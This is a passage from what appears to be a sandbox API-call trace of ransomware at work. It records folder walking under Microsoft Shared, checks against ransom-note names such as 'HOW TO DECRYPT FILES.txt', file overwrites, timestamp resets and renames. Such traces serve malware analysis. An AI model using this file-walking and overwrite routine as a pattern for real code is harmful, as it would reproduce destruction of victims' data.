ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="White_Chocolate.jpg") returned -1 [0058.819] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="White_Chocolate.jpg") returned -1 [0058.819] lstrcmpiA (lpString1="", lpString2="White_Chocolate.jpg") returned -1 [0058.819] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf") returned="To_Do_List.emf" [0058.849] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x4f8280, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1 [0058.849] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.849] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Wrinkled_Paper.gif") returned -1 [0058.849] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Wrinkled_Paper.gif") returned -1 [0058.849] lstrcmpiA (lpString1="", lpString2="Wrinkled_Paper.gif") returned -1 [0058.849] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg") returned="White_Chocolate.jpg" [0058.849] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x4f8280, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0 [0058.849] FindClose (in: hFindFile=0x4f81a0 | out: hFindFile=0x4f81a0) returned 1 [0058.849] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="TextConv", cAlternateFileName="")) returned 1 [0058.849] lstrcmpA (lpString1=".", lpString2="TextConv") returned -1 [0058.849] lstrcmpA (lpString1="..", lpString2="TextConv") returned -1 [0058.850] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned="*.*" [0058.850] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\", lpString2="TextConv" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv" [0058.850] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.850] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.850] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.850] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.850] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.850] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0058.850] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0058.850] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0058.850] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*") returned="*.*" [0058.850] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", lpString2="en-US" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US" [0058.851] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0058.851] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.851] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.851] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.851] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.851] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 0 [0058.851] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0058.851] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x6e0065, dwReserved1=0x3, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0058.851] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.851] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSCONV97.DLL") returned -1 [0058.851] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSCONV97.DLL") returned -1 [0058.852] lstrcmpiA (lpString1="", lpString2="MSCONV97.DLL") returned -1 [0058.852] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*") returned="*.*" [0058.857] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.857] CloseHandle (hObject=0x8c) returned 1 [0058.857] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", lpString2="MSCONV97.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" [0058.857] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", pszSpec="*.ems") returned 0 [0058.857] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x0, dwReserved1=0x4f8430, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1 [0058.857] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.857] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RECOVR32.CNV") returned -1 [0058.857] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RECOVR32.CNV") returned -1 [0058.857] lstrcmpiA (lpString1="", lpString2="RECOVR32.CNV") returned -1 [0058.857] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned="MSCONV97.DLL" [0058.858] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1 [0058.858] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.858] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Wks9Pxy.cnv") returned -1 [0058.858] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Wks9Pxy.cnv") returned -1 [0058.858] lstrcmpiA (lpString1="", lpString2="Wks9Pxy.cnv") returned -1 [0058.858] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned="RECOVR32.CNV" [0058.858] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1 [0058.858] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.858] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WPFT532.CNV") returned -1 [0058.858] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WPFT532.CNV") returned -1 [0058.858] lstrcmpiA (lpString1="", lpString2="WPFT532.CNV") returned -1 [0058.858] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned="Wks9Pxy.cnv" [0058.859] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1 [0058.859] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.859] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WPFT632.CNV") returned -1 [0058.859] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WPFT632.CNV") returned -1 [0058.859] lstrcmpiA (lpString1="", lpString2="WPFT632.CNV") returned -1 [0058.859] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned="WPFT532.CNV" [0058.859] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0 [0058.859] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.859] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0058.859] lstrcmpA (lpString1=".", lpString2="THEMES14") returned -1 [0058.859] lstrcmpA (lpString1="..", lpString2="THEMES14") returned -1 [0058.859] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned="*.*" [0058.859] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\", lpString2="THEMES14" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14" [0058.859] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.863] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.863] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.865] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.865] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.865] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0058.865] lstrcmpA (lpString1=".", lpString2="AFTRNOON") returned -1 [0058.865] lstrcmpA (lpString1="..", lpString2="AFTRNOON") returned -1 [0058.865] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*") returned="*.*" [0058.865] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\", lpString2="AFTRNOON" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON" [0058.865] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f81f0 [0058.865] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.865] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.866] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.866] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.866] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0058.866] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.866] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AFTRNOON.ELM") returned 1 [0058.866] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AFTRNOON.ELM") returned 1 [0058.866] lstrcmpiA (lpString1="", lpString2="AFTRNOON.ELM") returned -1 [0058.866] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*") returned="*.*" [0058.870] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.870] CloseHandle (hObject=0x90) returned 1 [0058.870] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\", lpString2="AFTRNOON.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" [0058.870] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", pszSpec="*.ems") returned 0 [0058.870] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x4f8518, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1 [0058.870] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.870] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AFTRNOON.INF") returned 1 [0058.870] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AFTRNOON.INF") returned 1 [0058.870] lstrcmpiA (lpString1="", lpString2="AFTRNOON.INF") returned -1 [0058.870] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned="AFTRNOON.ELM" [0058.871] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.871] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.871] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PREVIEW.GIF") returned -1 [0058.871] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PREVIEW.GIF") returned -1 [0058.871] lstrcmpiA (lpString1="", lpString2="PREVIEW.GIF") returned -1 [0058.871] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned="AFTRNOON.INF" [0058.871] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.871] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.871] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="THMBNAIL.PNG") returned -1 [0058.871] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="THMBNAIL.PNG") returned -1 [0058.871] lstrcmpiA (lpString1="", lpString2="THMBNAIL.PNG") returned -1 [0058.871] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned="PREVIEW.GIF" [0058.875] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned="THMBNAIL.PNG" [0058.875] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0058.875] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x626c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x626c, lpOverlapped=0x0) returned 1 [0058.876] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0058.876] CloseHandle (hObject=0x90) returned 1 [0058.880] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft 